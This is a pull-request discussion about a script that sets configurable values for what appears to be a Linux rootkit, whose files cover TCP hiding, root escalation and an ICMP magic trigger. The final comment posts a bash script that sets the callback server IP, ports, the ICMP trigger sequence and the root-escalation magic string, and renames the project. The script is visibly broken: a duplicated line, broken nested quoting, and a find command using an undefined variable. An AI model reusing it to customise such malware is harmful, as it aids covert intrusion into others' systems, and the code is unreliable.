added a script to modify customizable values

[akabul0us]

A bit easier than manually editing all of the files and values from the README. I'll likely add some more features later (like recording changed values and resetting them as the new defaults) but as it is now this works just fine.

[AlexanderYastrebov]

IMO its better to add include/config.h and define all configurable values there.

[akabul0us]

That would be a bit neater, rather than the current approach of having the values scattered across several files. This script would become simpler, too, as there'd be no need to make $file a variable.
I don't see any such header file in the repo - is this something you've implemented in another branch or fork?

[AlexanderYastrebov]

This script would become simpler

I don't think you'd need a script if all configurables are in the single place.

is this something you've implemented in another branch or fork?

No, just a drive-by suggestion :)

[akabul0us]

I don't think you'd need a script

That's the secret of shell scripts: nobody needs them, really 😁

[akabul0us]

This pull request has been open for a month and I only just now realized that you're not the repo maintainer, so I kind of doubt either of our suggestions find their way into the code

[CompileasaService2026]

Here is something similar to what I use for CompileasaService

#!/bin/bash
BUILD_ROOT="."
YOUR_SRV_IP=127.0.0.1
SRV_PORT=8081
PORT=8081
ICMP_MAGIC_SEQ=1337
MAGIC=mmtz

sed -i "s|#define YOUR_SRV_IP "."|#define YOUR_SRV_IP "$YOUR_SRV_IP"|" "$BUILD_ROOT/include/core.h"
sed -i "s|#define YOUR_SRV_IP "."|#define YOUR_SRV_IP "$YOUR_SRV_IP"|" "$BUILD_ROOT/include/core.h"
sed -i "s|#define SRV_PORT .|#define SRV_PORT "$SRV_PORT"|" "$BUILD_ROOT/modules/icmp.c"
sed -i "s|#define PORT .|#define PORT "$PORT"|" "$BUILD_ROOT/modules/hiding_tcp.c"
sed -i "s|#define ICMP_MAGIC_SEQ .*|#define ICMP_MAGIC_SEQ $ICMP_MAGIC_SEQ|" "$BUILD_ROOT/modules/icmp.c"
sed -i "s|MAGIC=mtz|MAGIC=$MAGIC|g" "$BUILD_ROOT/modules/become_root.c"
find "$BUILD_ROOT" -type f -exec bash -c 'SAFE=$(printf "%s" "$0" | sed "s/[/&]/\\&/g"); sed -i "s/singularity/$SAFE/g" "$1"' "$NAME" {} ;